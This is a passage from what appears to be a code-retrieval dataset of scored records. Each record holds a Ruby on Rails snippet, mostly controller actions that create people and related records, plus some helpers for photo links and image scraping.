@page_title = 'Add a new person'\n addresses = @person.addresses.build\n companies = @person.companies.build\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64524c9899db194e26f5de1bb5a77cb9", "score": "0.62054753", "text": "def people_params\n params.permit(people: [:first_name, :last_name, :email, :phone])\n end", "title": "" }, { "docid": "10f5b019f16954066eded87b824aa53d", "score": "0.61961675", "text": "def create\n @person = Person.new(params[:person])\n flash[:notice] = 'Person was successfully created.' if @person.save\n respond_with(@person)\n end", "title": "" }, { "docid": "c57df070552cec4f1fd277b12f568ecd", "score": "0.61902815", "text": "def create\n @person = Person.new(params[:person])\n current_organization.people << @person\n if @person.save\n redirect_to people_path, notice: @person.name.to_s + ' was successfully created.'\n else\n render action: \"new\"\n end\n end", "title": "" }, { "docid": "89ffec28286a0dffca3725743bf002b0", "score": "0.6186374", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: \"Person was successfully created.\" }\n flash.alert = \"Person updated\"\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0d565bc049805e8860f073f17376c01", "score": "0.61862135", "text": "def create\n \n# next line commented out and following line added 2 aug 17 for connecting users to people (step 17)\n# Person.create(person_params)\n current_user.people.create(person_params) # check nomster/flixter code in this area\n\n redirect_to new_person_path # change to redirect to page showing person created, maybe entire tree\n end", "title": "" }, { "docid": "6591334d64f5ace8500a624da05f811a", "score": "0.6181989", "text": "def new\n @person = people_type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "14d2a67bfdb5ca70d48aa137c614a517", "score": "0.6140023", "text": "def create\n @person = Person.new(person_params)\n authorize! :create, @person\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: t('.create_ok') }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e5b4625f083f475371812acc015a67a", "score": "0.61319715", "text": "def create(data)\n data.each do |response|\n puts person = @person_repository.create_or_find(response)\n homeworld_response = StarwarsService.get_response(response[\"homeworld\"])\n planet = @planet_repository.find(homeworld_response[\"name\"]).first\n person.planet_id = planet.id\n\n if response[\"species\"].empty? == false\n species_response = StarwarsService.get_response(response[\"species\"].first)\n specie = @specie_repository.find(species_response[\"name\"]).first\n person.specie_id = specie.id\n end\n person.save\n end\n end", "title": "" }, { "docid": "e4905c10f1953b43656d117101d59936", "score": "0.60855216", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.js\n format.json { render json: @person, status: :created, location: @person }\n else\n format.js\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a8c64c803263c454384e0150900db67", "score": "0.60846394", "text": "def create\n logger.debug(\"PeopleController.create: person_params: #{person_params.inspect}\")\n\n @person = Person.new(person_params)\n logger.debug(\"PeopleController.create: @person: #{@person.inspect}\")\n\n respond_to do |format|\n if @person.save \n # TBD: setup specs for this: or we will be adding to our 'technical debt'!\n Notifier.notice(@person, 'new account').deliver\n format.html do\n sign_in @person\n flash[:success] = \"Welcome to Talk Invite!\"\n redirect_to @person\n end\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "b6cf3006a27af3e8343007d006948229", "score": "0.60837996", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Клиент создан' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16f56e809fc1a06303b138aa2aa065cc", "score": "0.6066986", "text": "def create\n @personnage = Personnage.new(params[:personnage])\n\n respond_to do |format|\n if @personnage.save\n format.html { redirect_to @personnage, notice: 'Personnage was successfully created.' }\n format.json { render json: @personnage, status: :created, location: @personnage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personnage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42d35d69998925e2f6344c5b70640164", "score": "0.605435", "text": "def create\n @related_person = RelatedPerson.new(related_person_params)\n\n respond_to do |format|\n if @related_person.save\n format.html { redirect_to @related_person, notice: 'Related person was successfully created.' }\n format.json { render :show, status: :created, location: @related_person }\n else\n format.html { render :new }\n format.json { render json: @related_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8d125894989976edc65dd537d70947e", "score": "0.6054217", "text": "def create\n @request_person = RequestPerson.new(request_person_params)\n\n respond_to do |format|\n if @request_person.save\n format.html { redirect_to @request_person, notice: 'Request person was successfully created.' }\n format.json { render :show, status: :created, location: @request_person }\n else\n format.html { render :new }\n format.json { render json: @request_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f186392fd95e4ca74a8ec1de48c0a6c", "score": "0.60392874", "text": "def create\n filter_sampled_persons_ineligibilties\n\n @person = Person.new(params[:person])\n @provider = Provider.find(params[:provider_id]) unless params[:provider_id].blank?\n\n respond_to do |format|\n if @person.save\n create_relationship_to_participant\n\n path = people_path\n msg = 'Person was successfully created.'\n if @provider\n path = provider_path(@provider)\n msg = \"Person was successfully created for #{@provider}.\"\n end\n format.html { redirect_to(path, :notice => msg) }\n format.json { render :json => @person }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @person.errors }\n end\n end\n end", "title": "" }, { "docid": "193e8ef4b231f681d70307e597309e61", "score": "0.6034725", "text": "def create\n @person = Person.new( person_params )\n respond_to do |format|\n if @person.save\n format.html { render :edit, notice: t( 'people.msg.new_ok' )}\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "8abe64e65fa676b4a2584c08b8591191", "score": "0.6025633", "text": "def test_post_request_collection\n params = {\n size: 3,\n employmentTypeUris: ['/dk/atira/pure/person/employmenttypes/academic'],\n employmentStatus: 'ACTIVE'\n }\n response = client.persons.all_complex params: params\n assert_equal response.code, 200\n assert_instance_of HTTP::Response, response\n end", "title": "" }, { "docid": "27d50edd7bb50ba33a2f13fccfd159e2", "score": "0.60253185", "text": "def create\n\t\t@person = Person.create(person_params)\n\t\tredirect_to person_url(@person)\n\tend", "title": "" }, { "docid": "c41bde8c573a093f99a37ca945ca266d", "score": "0.5989397", "text": "def create\n @person = Person.new(params[:person])\n work = Work.find(@person.work_id) if @person.work_id.present?\n expression = Expression.find(@person.expression_id) if @person.expression_id.present?\n manifestation = Manifestation.find(@person.manifestation_id) if @person.manifestation_id.present?\n\n respond_to do |format|\n if @person.save\n if work\n @person.works << work\n end\n if expression\n @person.expressions << expression\n end\n if manifestation\n @person.manifestations << manifestation\n end\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f77954923258295a9891ec98d5fc5e9", "score": "0.59855026", "text": "def create\n if params['csv_file'].present?\n require 'csv'\n params[:people] = []\n csv_text = File.read(params['csv_file'].path)\n csv = CSV.parse(csv_text, :headers => true)\n csv.each do |row|\n params[:people] << row.to_hash\n end\n people = Person.create(people_params[:people])\n render json: people.as_json(methods: :error_messages), status: :ok\n elsif params['person'].present?\n person = Person.new(person_params)\n if person.save\n render json: person.as_json(methods: :error_messages), status: :ok\n else\n render json: { errors: person.error_messages }, status: :unprocessable_entity\n end\n else\n render json: { message: 'CSV file not found.' }, status: :not_found and return\n end\n end", "title": "" }, { "docid": "477ef045d5813f17d2cdf2e5c4f29643", "score": "0.59618807", "text": "def create\n @team_person = TeamPerson.new(team_person_params)\n\n respond_to do |format|\n if @team_person.save\n format.html { redirect_to @team_person, notice: 'Team person was successfully created.' }\n format.json { render :show, status: :created, location: @team_person }\n else\n format.html { render :new }\n format.json { render json: @team_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82df168a333cee961d3dda86985650a6", "score": "0.59562093", "text": "def create\n\n if !params[:name].nil? && !params[:email].nil?\n user = User.find_by_email(params[:email])\n if user\n pet = user.pets.create(name:params[:name], observations: params[:observations])\n if pet\n render json: pet, status: :created\n else\n render json: {message: 'There was an error saving pet, please try it again'}, status: :bad_request\n end\n else\n render json: {message: 'There was an error saving pet, please try it again'}, status: :bad_request\n end\n else\n render json: {message: 'Pet name not provided'}, status: :bad_request\n end\n end", "title": "" }, { "docid": "075c0ee7cfc6daa5dec71740ba4f91c7", "score": "0.5956128", "text": "def create\n @people_number = PeopleNumber.new(people_number_params)\n\n respond_to do |format|\n if @people_number.save\n format.html { redirect_to @people_number, notice: 'People number was successfully created.' }\n format.json { render :show, status: :created, location: @people_number }\n else\n format.html { render :new }\n format.json { render json: @people_number.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e92ebeaf524036ff7dcc1f1b2371976b", "score": "0.595379", "text": "def create\n @projects_person = ProjectsPerson.new(params[:projects_person])\n\n respond_to do |format|\n if @projects_person.save\n format.html { redirect_to @projects_person, notice: 'Projects person was successfully created.' }\n format.json { render json: @projects_person, status: :created, location: @projects_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @projects_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b650e6c5a56f5c06bc5b63dbe4892be", "score": "0.59522164", "text": "def create\n @tasks_person = TasksPerson.new(params[:tasks_person])\n\n respond_to do |format|\n if @tasks_person.save\n format.html { redirect_to @tasks_person, notice: 'Tasks person was successfully created.' }\n format.json { render json: @tasks_person, status: :created, location: @tasks_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tasks_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0dd6337586c898536ec6bfb09b5ade11", "score": "0.59299463", "text": "def create\n @addresses_person = AddressesPerson.new(addresses_person_params)\n\n respond_to do |format|\n if @addresses_person.save\n format.html { redirect_to @addresses_person, notice: 'Addresses person was successfully created.' }\n format.json { render :show, status: :created, location: @addresses_person }\n else\n format.html { render :new }\n format.json { render json: @addresses_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "546d159f55eaa83b89f73029d114419f", "score": "0.5909894", "text": "def create\n @persona = Persona.new(params[:persona])\n\n respond_to do |format|\n if @persona.save\n format.html { redirect_to @persona, notice: 'Persona was successfully created.' }\n format.json { render json: @persona, status: :created, location: @persona }\n else\n format.html { render action: \"new\" }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7d18f0a0f79ebc37c19c726fb1dabee", "score": "0.5907757", "text": "def create\n @person = Person.new(person_params)\n \n if @person.save\n redirect_to action: 'list'\n else\n render action: 'new'\n end\n end", "title": "" }, { "docid": "ba33f0a84e1eb6944a4f0c70f2513b2f", "score": "0.59064245", "text": "def people_params\n params.require(:people).permit(:first_name,:surname, :type_identification, :identification_document, \n :email, :date_birth, :sex, :civil_status, :phone, :cellphone, :address )\n end", "title": "" }, { "docid": "2e09e4ee8e5afc829e308cdb3a82e882", "score": "0.5894328", "text": "def create\n @persona = Persona.new(params[:persona])\n\n respond_to do |format|\n if @persona.save\n format.html { redirect_to @persona, notice: 'la Persona fue creada exitosamente.' }\n format.json { render json: @persona, status: :created, location: @persona }\n else\n format.html { render action: \"new\" }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32065dfa4f97026953b84f24efcf9f94", "score": "0.58793783", "text": "def create\n @personaje = Personaje.new(params[:personaje])\n\n respond_to do |format|\n if @personaje.save\n format.html { redirect_to @personaje, notice: 'Personaje was successfully created.' }\n format.json { render json: @personaje, status: :created, location: @personaje }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personaje.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4e2f0df213a8b75729f781e1edefb42", "score": "0.5868149", "text": "def new\n @person = Person.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "de42dddee8c9ead8a179bdacb271c56e", "score": "0.5862134", "text": "def create\n @person = Person.new(params[:person].merge :creator_site_id => Site.current_id)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n format.json { render :json => @person, :status => :created, :location => @person }\n else\n status = @person.errors.delete(:status) || :unprocessable_entity\n\n format.html { render :action => 'new' }\n format.xml { render :xml => @person.errors, :status => status }\n format.json { render :json => @person.errors, :status => status }\n end\n end\n end", "title": "" }, { "docid": "31f9718f92b7c4c6d7b2c7196f287cd8", "score": "0.5854718", "text": "def create\n @contactinfo = Contactinfo.new(params[:contactinfo])\n @contactinfo.user_id = current_user.id\n \n respond_to do |format|\n if @contactinfo.save\n format.html { redirect_to person_path(@contactinfo.people_id), :notice => 'Contactinfo was successfully created.' }\n format.json { render :json => @contactinfo, :status => :created, :location => @contactinfo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @contactinfo.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86a2509be6fd047e1f2bb1209464ada7", "score": "0.58434165", "text": "def create\n @persona = Persona.new(persona_params)\n\n respond_to do |format|\n if @persona.save\n format.html { redirect_to @persona, notice: 'Datos personales registrados exitosamente.' }\n format.json { render :show, status: :created, location: @persona }\n else\n format.html { render :new }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31b2b40d639be572deba60c613ec4a55", "score": "0.58431077", "text": "def create\n @person_interest = PersonInterest.new(params[:person_interest])\n\n respond_to do |format|\n if @person_interest.save\n format.html { redirect_to @person_interest, notice: 'Person interest was successfully created.' }\n format.json { render json: @person_interest, status: :created, location: @person_interest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9566e33fb1f31465db188c5eb8e71e46", "score": "0.58411676", "text": "def create\n\t\t@person = Person.new(params[:person])\n\n\t\trespond_to do |format|\n\t\t\tif @person.save\n\t\t\t\tformat.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @person, :status => :created, :location => @person }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "0476257600bbe969cf8e8c19afc0d349", "score": "0.5839441", "text": "def new\n @user_person = UserPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_person }\n end\n end", "title": "" }, { "docid": "b2561e34119dc611f2a02ad2f1ee0f13", "score": "0.58392113", "text": "def people_params\n params.require(:person).permit(:name, :surname, :mail, :home, :phone, :age, :pilot, :member, :guest, :status, :id_number)\n end", "title": "" }, { "docid": "e66cc7ae31e238c9c2836432e9445a6d", "score": "0.58365375", "text": "def create\n @type_person = TypePerson.new(params[:type_person])\n\n respond_to do |format|\n if @type_person.save\n format.html { redirect_to @type_person, notice: 'Type person was successfully created.' }\n format.json { render json: @type_person, status: :created, location: @type_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @type_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "53e247f2bd010864de994e5e59f1dec0", "score": "0.58350027", "text": "def create\n @person = Person.new(admin_person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to [:admin, @person], notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: [:admin, @person] }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70dd93b6c50881afccb6e0adb235d824", "score": "0.58311385", "text": "def create\n filtered_params = person_params\n filtered_params[:roles] ||= [:leaser]\n filtered_params[:status] ||= [:pending]\n\n @person = Person.new(filtered_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n format.xml { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n format.xml { render xml: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec541d67d805569f6c34c6c1f90438b7", "score": "0.5829603", "text": "def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end", "title": "" }, { "docid": "ca0647572072d16c1b4c905bbe1b7ddc", "score": "0.5828112", "text": "def create\n @person = Person.new(person_params)\n\n if @person.save\n redirect_to :action => 'list'\n else\n render :action => 'new'\n end\n end", "title": "" }, { "docid": "88917cff2470553373f3cbdbc95bf0ce", "score": "0.58262116", "text": "def create\n p params\n family = Family.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n # save the information from user input to create a new family.\n family.save!\n if family.save!\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end", "title": "" }, { "docid": "edab9199a74b9108b66478818dbc9bb7", "score": "0.5817968", "text": "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "edab9199a74b9108b66478818dbc9bb7", "score": "0.5817968", "text": "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "edab9199a74b9108b66478818dbc9bb7", "score": "0.5817968", "text": "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "edab9199a74b9108b66478818dbc9bb7", "score": "0.5817968", "text": "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "edab9199a74b9108b66478818dbc9bb7", "score": "0.5817968", "text": "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "edab9199a74b9108b66478818dbc9bb7", "score": "0.5817968", "text": "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "edab9199a74b9108b66478818dbc9bb7", "score": "0.5817968", "text": "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "ea31780244b8b96aa41a202e4dd5911f", "score": "0.5817133", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n track_activity @person\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e41ec02a662dcdbd8b6a079453d278b8", "score": "0.5813984", "text": "def create\n Rails.logger.info(params)\n # check if all the criterias are filled\n # first I just continue to create iff name, positionl, institution exists\n if params.has_key?(:name) && params.has_key?(:position) && params.has_key?(:institution)\n # check if the person already exists? The person might exists as a mentor of other maybe\n unless Person.exists?(name: params[:name])\n @person = Person.new_person(params[:name], params[:position], params[:institution])\n if @person != nil && @person.save\n render json: @person.as_json, status: :created\n return\n end\n else\n render json: {error: 'person exists'}, status: :bad_request\n end\n end\n #render json: {warning: 'not implemented'}, status: 200\n end", "title": "" }, { "docid": "788a5eea552ccacd02b4e11c1b02aa02", "score": "0.58083624", "text": "def create\n @person = current_user.people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to [:logbook, @person], notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n format.js\n else\n format.html { redirect_to logbook_people_path, notice: 'Person was not saved.' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n format.js { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b093eef800df27e31404f528f0ff463e", "score": "0.5805334", "text": "def create\n @car = Car.new(car_params)\n\n respond_to do |format|\n if @car.save\n if @person\n @car.people << @person\n format.html { redirect_to @person, notice: \"#{@person.name} got a new car!\" }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { redirect_to @car, notice: 'Car created!' }\n format.json { render :show, status: :created, location: @car }\n end\n else\n format.html { render :new }\n format.json { render json: @car.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d049b573f86f1056670818eddfeca1b", "score": "0.57937825", "text": "def create\n @person = Person.new(person_params)\n @person.user = current_user\n authorize @person\n\n flash[:notice] = \"Person was successfully created.\" if @person.save\n respond_with(@person)\n end", "title": "" }, { "docid": "ef1222bb51687f2d28b37a1b473b4e61", "score": "0.57876796", "text": "def create\n @documents_person = DocumentsPerson.new(documents_person_params)\n\n respond_to do |format|\n if @documents_person.save\n format.html { redirect_to @documents_person, notice: 'Documents person was successfully created.' }\n format.json { render :show, status: :created, location: @documents_person }\n else\n format.html { render :new }\n format.json { render json: @documents_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2198856180b2e763b8bf7c8abb27e64a", "score": "0.57728964", "text": "def create\n @pet = @person.pets.build(pet_params)\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to person_path(@person), notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1b7de4a7fcb05022f9d27824cae5bc9", "score": "0.57716477", "text": "def create\n @persona = Persona.new(persona_params)\n\n respond_to do |format|\n if @persona.save\n format.html {redirect_to personas_url, notice: 'Persona was successfully created.'}\n format.json {render :show, status: :created, location: @persona}\n else\n format.html {render :new}\n format.json {render json: @persona.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "e998b1105cbfe8464f5aca1e1e120b61", "score": "0.5750112", "text": "def create\n @key_person = KeyPerson.new(params[:key_person])\n\n respond_to do |format|\n if @key_person.save\n format.html { redirect_to @key_person, notice: 'Key person was successfully created.' }\n format.json { render json: @key_person, status: :created, location: @key_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "825a96d10a5c685217de0dcd1bb72f66", "score": "0.5739503", "text": "def create\n @people_student = People::Student.new(people_student_params)\n\n respond_to do |format|\n if @people_student.save\n format.html { redirect_to @people_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @people_student }\n else\n format.html { render :new }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
66e5d08e109fb6be5a0b34d7ac4eff9e
First clear existing links then add links to all photos in this area
[ { "docid": "87660dcb9506eb53f2f6ee66fc674b07", "score": "0.0", "text": "def setPhotosInArea\n return unless area_changed?\n PlacePhotoInArea.delete place_photos_in_area_ids\n Photo.all.each do |photo|\n if(inArea(photo.ref_latitude, photo.ref_longitude))\n PlacePhotoInArea.create(:place_id => id, :photo_id => photo.id)\n end\n end\n end", "title": "" } ]
[ { "docid": "a00ffdb8ae6039c5ff70c221ccae5f4b", "score": "0.67453814", "text": "def clear_links ()\n\nend", "title": "" }, { "docid": "4988b77f7128461d92c4bb21216032e7", "score": "0.64736164", "text": "def change_permalink\n @photoset = Photoset.find(:all)\n for photoset in @photoset\n photoset.permalink = nil\n photoset.update_attributes(params[:photoset])\n end\n end", "title": "" }, { "docid": "2a7f6ff6c09b5b3553e1e5562cdba3f6", "score": "0.63919765", "text": "def remove_photos\n self.photos.clear\n end", "title": "" }, { "docid": "cda8f16b6c4f708e4bf31a122eab9d04", "score": "0.63671464", "text": "def prepare_links!\n links_def = find_links_definition or return\n \n links_def.rel2block.each do |link|\n links.update_link(Feature::Hypermedia::Hyperlink.new.tap do |hyperlink| # create Hyperlink representer.\n hyperlink.rel = link[:rel]\n hyperlink.href = run_link_block(link[:block])\n end)\n end\n end", "title": "" }, { "docid": "406e58e9e01e901c387cd2a78acfb731", "score": "0.63452816", "text": "def get_images_from_url\n @links = (images_from_img_tag + images_from_link_tag + images_from_extension).uniq\n @handler_link.remove_global_unless_symbols(@links)\n @links\n end", "title": "" }, { "docid": "8776430a46f6ee04c18c75277f00c333", "score": "0.6136853", "text": "def linkPages\n @all_pages.each_value do |one_page|\n one_page.addPageLinks\n end\n @all_pages.each_value do |one_page|\n one_page.addMissingLinkNames\n end\n end", "title": "" }, { "docid": "9d4cb0fb43c3f126d5d9ebfae4990a09", "score": "0.6081381", "text": "def cleared_linked_display\n h.content_tag(:div, linked_display, class:'images single clear').html_safe\n end", "title": "" }, { "docid": "d5ff70d78147c0ffd95265047cf732fc", "score": "0.6073014", "text": "def unlink!\n parse \n @tags.each do |tag|\n @doc.xpath(\"//a[ends_with(@href,'#{tag}')]\", EndsWithFilter.new).each do |element|\n element.swap(element.children)\n end\n end\n output = @doc.xpath(\"/#{@wrap_tag}/body/p\").inner_html\n output = @doc.xpath(\"/#{@wrap_tag}/body\").inner_html if output == \"\"\n output\n end", "title": "" }, { "docid": "d5180b76aaf5702ca6d58a98532cd142", "score": "0.6068581", "text": "def photos_for_merge\n photo_urls - ignored_photo_urls\n end", "title": "" }, { "docid": "515a28745dab3c5ba1b1206c8ab43cec", "score": "0.605443", "text": "def cleared_linked_display\n h.content_tag(:div, linked_display, class: 'images single clear').html_safe\n end", "title": "" }, { "docid": "109c747ca919ab2e1e3bdebb71ab2ff8", "score": "0.6037309", "text": "def set_photo_urls\n unless self.photo_id.blank?\n photo = Photo.find(self.photo_id)\n self.photo_thumb_url = photo.photo.thumb\n self.photo_medium_url = photo.photo.medium\n self.photo_large_url = photo.photo.large\n end\n end", "title": "" }, { "docid": "c210c50d07eb24381af5894b47a74790", "score": "0.6000284", "text": "def images_from_link_tag\n img_array = []\n @doc.xpath('//link').each do |link|\n if link['href'] != nil && link['type'] != nil\n if link['type'].include?(\"image\")\n got_link = @handler_link.handler_prefix_link(@link_host_name, link['href'])\n img_array << got_link\n end\n end\n end\n\n img_array.uniq!\n @handler_link.remove_unless_link(img_array)\n img_array\n end", "title": "" }, { "docid": "089d4c969110334d0d57b173edd4a3c5", "score": "0.5992416", "text": "def clear_link\n @link = nil\n @autolink = false\n end", "title": "" }, { "docid": "315df45a1493eb71b33ba8a4c21039af", "score": "0.5971621", "text": "def remove_image_link_tag\n @caption_node\n .children\n .first\n .content = @caption_node.content.sub(href_regexp, '').strip\n end", "title": "" }, { "docid": "f6a56eed3444ff3c4ba2a49495c7ca5b", "score": "0.5901876", "text": "def remove_typepad_links\n results = @content.scan(/<a href=.*?<\\/a>/)\n\n results.each do |result|\n # if result contains an image with an image-full class\n if result =~ /image-full/\n temp = result.sub(/<a href=.*?>/, \"\").sub(/<\\/a>/, \"\")\n @content.sub!(result, temp)\n end\n end\n end", "title": "" }, { "docid": "39822b1fa6d59e1441e2577f01b794b1", "score": "0.58464473", "text": "def get_img_links()\n img = @page.css('img')\n @imgLinks = Array.new\n new_url = self.get_new_url()\n\t\t\n if @url[@url.length-1] != '/'\n @url += \"/\"\n end\n print new_url\n\n img.each do |i|\n @imgLinks.push(@url+i[\"src\"])\n end\n end", "title": "" }, { "docid": "134763e5e57b2c1aabb52f651bcfcba8", "score": "0.5816591", "text": "def no_item_thumb_links\n no_column.links(:class => \"img\", :href => /.*/) # ---------------------------------- EVERYTHING USING THIS NEEDS REPLACING!!!!!!!!\n end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.5802312", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.5802312", "text": "def links; end", "title": "" }, { "docid": "1ebf53900a60102211b854d773837dc9", "score": "0.5792286", "text": "def update_thumbnails\n (thumb_glossary_terms + thumb_observations + profile_users).each do |obj|\n obj.remove_image(self)\n end\n end", "title": "" }, { "docid": "17aa68c660071399f6eaa22e0a7cae04", "score": "0.5785173", "text": "def clear_backlinks\n @backlinks = []\n end", "title": "" }, { "docid": "553499eb7fd0d19a64f2661ce6b9922b", "score": "0.57528687", "text": "def links\n @links = super || []\n end", "title": "" }, { "docid": "5f7ca6e31c66a99afcb58655df87db0c", "score": "0.57505757", "text": "def links\n @links ||= []\n @links\n end", "title": "" }, { "docid": "67ca4de66a5ac5114bfed6615416b861", "score": "0.5746797", "text": "def fix_image_links( file_name )\r\n\tlines = File.readlines(file_name)\r\n lines.each do |line| \r\n \tline.gsub!(/processed_files/, File.basename( file_name, '.htm') + \"_files\")\r\n\tend\r\n\tFile.open( file_name, 'w') { |f| f.write lines }\r\nend", "title": "" }, { "docid": "cbe4646f438d153b0fc1492cb04c0fa2", "score": "0.5720823", "text": "def resolve_all_links()\n @links.each_value { |lnk|\n set_link_target(lnk) if lnk.target.nil?\n }\n end", "title": "" }, { "docid": "66e09f00dd74f19dd20f8e2523fe403c", "score": "0.5710883", "text": "def create_links\n end", "title": "" }, { "docid": "66e09f00dd74f19dd20f8e2523fe403c", "score": "0.5710883", "text": "def create_links\n end", "title": "" }, { "docid": "f526b96956f1eb1a87695c997e6a2434", "score": "0.56950814", "text": "def unwrap_links(elements); end", "title": "" 